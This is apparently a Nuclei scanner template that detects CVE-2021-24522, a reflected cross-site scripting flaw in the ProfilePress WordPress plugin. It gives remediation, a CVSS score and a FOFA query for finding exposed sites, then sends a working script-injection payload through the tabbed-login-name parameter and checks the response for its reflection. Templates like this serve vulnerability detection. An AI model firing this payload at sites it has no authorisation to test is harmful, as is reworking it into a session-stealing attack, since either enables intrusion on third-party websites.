id: CVE-2021-24522

info:
  name: ProfilePress < 3.1.11 - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    The ProfilePress plugin for WordPress before 3.1.11 is vulnerable to unauthenticated reflected cross-site scripting (XSS) via the tabbed login/register widget due to improper escaping of user input. Attackers can inject arbitrary JavaScript via the tabbed-login-name parameter.
  remediation: |
    Update the ProfilePress plugin to version 3.1.11 or later.
  reference:
    - https://wpscan.com/vulnerability/25b51add-197c-4aff-b1a8-b92fb11d8697/
    - https://plugins.trac.wordpress.org/changeset/2561271/wp-user-avatar
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24522
  classification:
    cve-id: CVE-2021-24522
    cwe-id: CWE-79
    epss-score: 0.00773
    epss-percentile: 0.74733
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N
    cvss-score: 5.4
  metadata:
    max-request: 2
    fofa-query: body="wp-content/plugins/wp-user-avatar"
  tags: cve,cve2021,wordpress,wp,wp-plugin,wp-user-avatar,profilepress,xss

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        part: body
        words:
          - 'wp-user-avatar'
        internal: true

  - raw:
      - |
        GET {{path}}/?tabbed-login-name="><script>alert(document.domain)</script> HTTP/1.1
        Host: {{Hostname}}

    payloads:
      path:
        - /
        - /wp-login
        - /wp-login.php

    host-redirects: true
    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<script>alert(document.domain)</script>'

      - type: word
        part: content_type
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100c6c7507162c8c24b739f21c95533ace807b33ae36c061704f74ad18f5331d150022100a50a1862471d70a05c2e9b4256eea550bdbbdae64777cdbf879d2679c7cacd45:922c64590222798bb761d5b6d8e72950